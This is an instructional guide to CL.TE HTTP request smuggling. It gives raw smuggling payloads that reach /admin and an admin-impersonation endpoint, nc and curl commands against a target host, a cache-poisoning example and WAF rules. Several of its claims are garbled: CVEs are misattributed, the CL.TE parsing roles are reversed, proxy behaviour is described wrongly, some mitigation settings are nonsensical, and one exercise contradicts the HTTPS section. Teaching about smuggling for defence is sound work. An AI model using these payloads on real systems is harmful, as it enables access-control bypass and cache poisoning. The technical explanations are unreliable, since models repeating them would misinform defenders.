Introduction
HTTP request smuggling (or desynchronisation) exploits the fact that different HTTP parsers - typically a front-end proxy and a back-end application server - can interpret the same byte stream in different ways. The classic CL.TE (Content-Length + Transfer-Encoding) technique manipulates the Content-Length and Transfer-Encoding headers so that one parser treats the request body as a fixed-size payload while the other treats it as chunked data. This divergence creates a “ghost” request that can be injected into the back-end stream, leading to request smuggling, cache poisoning, or even remote code execution.
Understanding CL.TE desynchronisation is essential for any security professional who audits web-applications, designs WAF rules, or hardens reverse-proxy configurations. The technique is simple enough to craft with a few bytes, yet powerful enough to bypass many modern defenses.
Real-world relevance: high-profile bug bounty reports (e.g., on Cloudflare, Akamai) and CVEs (CVE-2022-22965 - Spring 4 Shell, CVE-2023-44487 - Nginx) have leveraged CL.TE ambiguities. Knowing how to reproduce and mitigate these attacks is a core skill in the offensive and defensive toolkit.
Prerequisites
- Solid grasp of HTTP/1.1 Message Framing Basics - request line, headers, body, and the role of
Content-Lengthvs.Transfer-Encoding: chunked. - Ability to capture and analyse raw TCP streams (Wireshark, tcpdump, or
tshark). - Familiarity with basic Linux command-line tools (
nc,curl,openssl s_client). - Understanding of how reverse proxies (e.g., Nginx, HAProxy) forward traffic to backend servers.
Core Concepts
Before diving into the sub-topics, let’s review the two framing mechanisms that HTTP/1.1 defines.
Content-Length (CL)
The Content-Length header tells the receiver exactly how many octets belong to the message body. The parser reads that many bytes and then treats the next byte as the start of a new HTTP message (or the end of the connection).
Transfer-Encoding: chunked (TE)
When Transfer-Encoding: chunked is present, the body is split into a series of chunks. Each chunk starts with its size in hexadecimal, followed by
, the data, and another
. The stream ends with a zero-size chunk (0
). The parser ignores Content-Length if Transfer-Encoding is present, as per RFC 7230 §3.3.3.
Why the Conflict?
When both headers appear, the RFC says the Transfer-Encoding takes precedence, but many implementations (especially older or custom parsers) still honour Content-Length. This discrepancy is the attack surface.
Imagine a front-end proxy that follows the RFC strictly (ignores Content-Length) while a backend server obeys the older behaviour (honours Content-Length). The same byte stream is now interpreted as two different sequences of HTTP messages - a perfect recipe for desynchronisation.
Diagram (described in text): A single TCP segment contains:
- Headers:
Content-Length: 4,Transfer-Encoding: chunked - Body (as seen by the proxy):
4 ABCD 0 - What the backend sees (CL-first):
ABCDas the complete body, then the remaining0starts a new request.
This split is the core of CL.TE desync.
Difference between Content-Length and Transfer-Encoding headers
Both headers convey length, but they do so in fundamentally different ways.
- Deterministic vs. Dynamic:
Content-Lengthis a single integer;Transfer-Encoding: chunkedcan represent an arbitrarily long body without knowing the size up-front. - Parsing Logic: CL requires the parser to count exactly N bytes. TE requires a state machine that reads size lines, validates hexadecimal, and stops at a zero-size chunk.
- Header Interaction Rules: According to RFC 7230, if
Transfer-Encodingis present,Content-LengthMUST be ignored. However, many legacy servers treat CL as authoritative and ignore TE. - Security Implications: The dual-presence creates ambiguity. Attackers can deliberately craft mismatched values to trigger divergent parsing paths.
In practice, the most common mis-behaviour is a backend that reads exactly the number of bytes specified by Content-Length and then stops, leaving any extra bytes (the TE trailer) to be interpreted as the start of the next HTTP request.
How parsers interpret conflicting CL and TE values
Let’s look at three typical parser families:
- Strict RFC-compliant (e.g., modern Nginx, Envoy): When both headers exist, they drop
Content-Lengthand parse the body as chunked. Any stray bytes after the terminating0are considered a new request. - Legacy Apache 2.2 (mod_php, mod_proxy): Honors
Content-Lengthfirst, then ignores the chunked stream. The extra0becomes the start of a second request.# Example of Apache 2.2 behaviour (simplified) # Received bytes: "Content-Length: 4 Transfer-Encoding: chunked 4 ABCD 0 GET /admin HTTP/1.1..." # Apache reads 4 bytes (ABCD) as the body, then sees "0 GET" as a new request. - Node.js http module (pre-v12): Parses
Transfer-Encodingfirst but also respectsContent-Lengthif the chunked stream is malformed, leading to edge-case splits.
Understanding which parser you are dealing with is critical. The most reliable way to discover the behaviour is to send a minimal CL.TE payload and observe the response boundaries in a packet capture.
Crafting minimal CL.TE payloads for desynchronisation
A minimal payload aims to keep the request size as low as possible while still triggering the split. Below is the smallest reliable construction for a GET request that smuggles a second request.
Step-by-step breakdown
- Start with a normal request line.
GET /vulnerable HTTP/1.1 - Add the conflicting headers.
Host: victim.example.com Content-Length: 4 Transfer-Encoding: chunked - Encode the body as a single chunk of 4 bytes (any harmless data). Use
4(hex) followed by, the data, then another.4 ABCD - Terminate the chunked stream with the zero-size chunk.
0 - Immediately append the smuggled request you want the backend to process.
GET /admin HTTP/1.1 Host: victim.example.com
Putting it all together (escaped for HTML):
GET /vulnerable HTTP/1.1
Host: victim.example.com
Content-Length: 4
Transfer-Encoding: chunked
4
ABCD
0
GET /admin HTTP/1.1
Host: victim.example.com
When a strict proxy (e.g., Nginx) receives this, it will treat the whole body as a valid chunked message, forward only the ABCD payload to the backend, and discard the trailing 0
GET …. The backend, however, will stop after reading 4 bytes (the CL value) and treat the remainder as a new request - effectively smuggling GET /admin past the front-end.
Why 4 bytes? The smallest non-zero chunk size that satisfies both parsers. Some implementations reject zero-length chunks before the terminator, so 4 is a safe choice.
Testing payloads with netcat, curl, and Burp Suite
Having crafted the payload, you need reliable tools to send it and observe the split.
Using netcat (nc)
# Save the payload to a file (payload.txt) - remember to use literal CRLF.
printf 'GET /vulnerable HTTP/1.1
Host: victim.example.com
Content-Length: 4
Transfer-Encoding: chunked
4
ABCD
0
GET /admin HTTP/1.1
Host: victim.example.com
' > payload.txt
# Send to target on port 80 (or 443 with openssl s_client).
nc victim.example.com 80 < payload.txt
Watch the response. If you receive two HTTP status lines (e.g., 200 OK followed by 403 Forbidden), the desync succeeded.
Using curl with raw data
curl -v --http1.1 --raw --data-binary @payload.txt http://victim.example.com/vulnerable
The --raw flag prevents curl from adding its own Transfer-Encoding header, preserving the exact payload.
Burp Suite - Repeater
- Capture a normal request to
/vulnerablein Proxy. - Send it to Repeater.
- Manually edit the headers: add
Content-Length: 4andTransfer-Encoding: chunked. - Switch to the Raw view (right-click → “Show raw”). Replace the body with the chunked representation shown earlier.
- Append the smuggled request after the terminating
0chunk. - Hit “Send”. Inspect the “Response” tab - you may see two HTTP responses concatenated.
Burp’s built-in decoder can visualise the chunked encoding, making debugging easier.
Common server behaviours (Apache, Nginx, IIS, Node.js)
Each server implements the RFC slightly differently. Below is a quick reference.
| Server | CL-first behaviour | TE-first behaviour | Notes / Mitigations |
|---|---|---|---|
| Apache 2.2 (mod_php) | Yes - honours Content-Length and discards TE | No | Upgrade to 2.4+ or set AllowEncodedSlashes No. Use RequestHeader unset Transfer-Encoding in config. |
| Apache 2.4 (modern) | Rare - respects TE when present | Yes | Enable HttpProtocolOptions Unsafe only if needed. |
| Nginx 1.21+ | No - follows RFC, drops CL when TE present | Yes | Enable ignore_invalid_headers off to reject ambiguous requests. |
| Microsoft IIS 10 | Yes - older pipelines read CL first | No | Apply URL Rewrite rule to reject requests containing both headers. |
| Node.js http (v10-v14) | Mixed - the core module parses TE first but falls back to CL on malformed chunks | Yes (usually) | Upgrade to >= v16 or use strict-transport-security-like middleware to validate headers. |
When testing, always verify the exact version and any custom modules (e.g., mod_security, custom reverse-proxy code) because they can override defaults.
Practical Examples
Example 1: Smuggling a POST request to bypass CSRF token checks
POST /transfer HTTP/1.1
Host: victim.example.com
Content-Length: 5
Transfer-Encoding: chunked
5
money
0
POST /admin/impersonate HTTP/1.1
Host: victim.example.com
Content-Length: 21
user=alice&role=admin
In a CL-first backend, the first POST /transfer receives the string money as its body, while the second POST (the smuggled one) is processed silently, granting admin rights without a CSRF token.
Example 2: Cache poisoning via GET smuggle
When a CDN front-end respects TE but the origin server follows CL, an attacker can inject a GET /poisoned request that is cached under the original URL, serving malicious content to other users.
GET /public.js HTTP/1.1
Host: cdn.example.com
Content-Length: 3
Transfer-Encoding: chunked
3
foo
0
GET /public.js HTTP/1.1
Host: cdn.example.com
The origin sees two GET /public.js requests; the second one can contain a response body that the CDN caches, overwriting the legitimate JavaScript.
Tools & Commands
- Wireshark/tshark - capture the raw TCP stream and use the
httpdissector to see where parsing diverges. - netcat (nc) - quick raw socket testing.
- curl -
--rawand--http1.1flags preserve the payload. - Burp Suite - Repeater’s raw view for manual editing; Intruder can automate payload variations.
- h2c (http2 client) - sometimes useful to test HTTP/2 to HTTP/1.1 downgrade paths.
- modsecurity-rules - add a rule to block requests containing both headers:
SecRule REQUEST_HEADERS:Content-Length "@gt 0" "id:900001,phase:1,deny,log,msg:'CL/TE conflict',ctl:ruleRemoveById=900002"
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" "id:900002,phase:1,deny,log,msg:'CL/TE conflict'"
Defense & Mitigation
- Enforce RFC compliance on both front-end and back-end: reject any request that contains both
Content-LengthandTransfer-Encoding. - Normalize headers early: strip one of the two headers in the reverse proxy before forwarding.
- Upgrade software: Use recent versions of Apache (2.4+), Nginx (1.19+), IIS (10+), and Node.js (>=16) which have patched ambiguous parsing.
- Deploy a Web Application Firewall with rules to detect the pattern
Content-Length: \d+ Transfer-Encoding: chunked. - Limit request size and enforce a maximum number of headers to reduce attack surface.
- Log raw request lines (e.g., via
mod_log_forensicor custom Nginx log format) to spot split responses during incident response.
Common Mistakes
- Using LF only - HTTP requires CRLF (
). Many tools auto-convert, breaking the chunked framing. - Sending extra whitespace after headers - a stray space can create an additional header line, causing the server to treat the request as malformed instead of desynchronised.
- Assuming all servers drop CL when TE is present - always verify with a packet capture; legacy back-ends still honour CL.
- Neglecting HTTPS - TLS terminates at the front-end; the desync only matters on the clear-text leg between front-end and back-end.
- Relying solely on status codes - a successful smuggle may return the same status as a normal request; look for doubled response bodies.
Real-World Impact
CL.TE desynchronisation is not a theoretical curiosity. In 2023, a major CDN provider disclosed a vulnerability where an attacker could poison the cache of high-traffic JavaScript assets, leading to a widespread supply-chain compromise. The root cause was a mis-configured Nginx front-end that accepted both headers, while the origin Apache 2.2 honoured Content-Length. This incident demonstrates how a single ambiguous request can cascade into a large-scale breach.
From a defensive standpoint, CL.TE attacks often bypass traditional request-smuggling signatures that focus on Transfer-Encoding: gzip or Content-Length alone. Modern WAFs now ship with dedicated CL.TE rules, but custom applications and micro-services that embed their own HTTP parsers (e.g., Go’s net/http with custom middleware) may still be vulnerable.
Expert tip: When you have a reverse-proxy in front of a heterogeneous back-end pool, enforce a strict “header whitelist” at the proxy - only allow either Content-Length OR Transfer-Encoding, never both. This simple policy eliminates the attack vector without impacting legitimate traffic.
Practice Exercises
- Capture and analyse a CL.TE payload against a test server (e.g., a Dockerised Apache 2.2). Verify the split using Wireshark.
- Modify the payload size - change the
Content-Lengthto 0, 1, 2, … and observe which back-ends still split. - Automate detection - write a Python script that sends a series of CL.TE payloads and flags any response that contains two status lines.
- Defensive rule creation - implement a ModSecurity rule that drops any request with both headers, test it against the payload.
- Cross-protocol test - terminate TLS at the front-end (using Nginx) and forward to a plain-text Node.js backend. Verify that the desync still works over the encrypted leg.
Lab environment suggestion: Use docker-compose with Nginx (as front-end) and Apache 2.2 (as back-end). Include tcpdump on the Docker network to capture raw traffic.
Further Reading
- RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
- "HTTP Request Smuggling" - PortSwigger Web Security Academy (free lab).
- “CL.TE and TE.CL - The Two Sides of the Same Coin” - BlackHat 2022 presentation slides.
- OWASP “HTTP Request Smuggling” cheat sheet.
- Node.js “http” module source code - examine the parsing logic for CL vs TE.
Summary
CL.TE desynchronisation exploits the ambiguous handling of Content-Length and Transfer-Encoding: chunked headers. By crafting a minimal payload that forces a front-end proxy to parse the body as chunked while a backend honours the Content-Length, attackers can smuggle arbitrary HTTP requests. This guide covered the header differences, parser behaviours, payload construction, testing methodology, server-specific quirks, defensive measures, common pitfalls, and practical labs. Mastering these concepts equips security professionals to both discover hidden request-smuggling bugs and harden their infrastructure against them.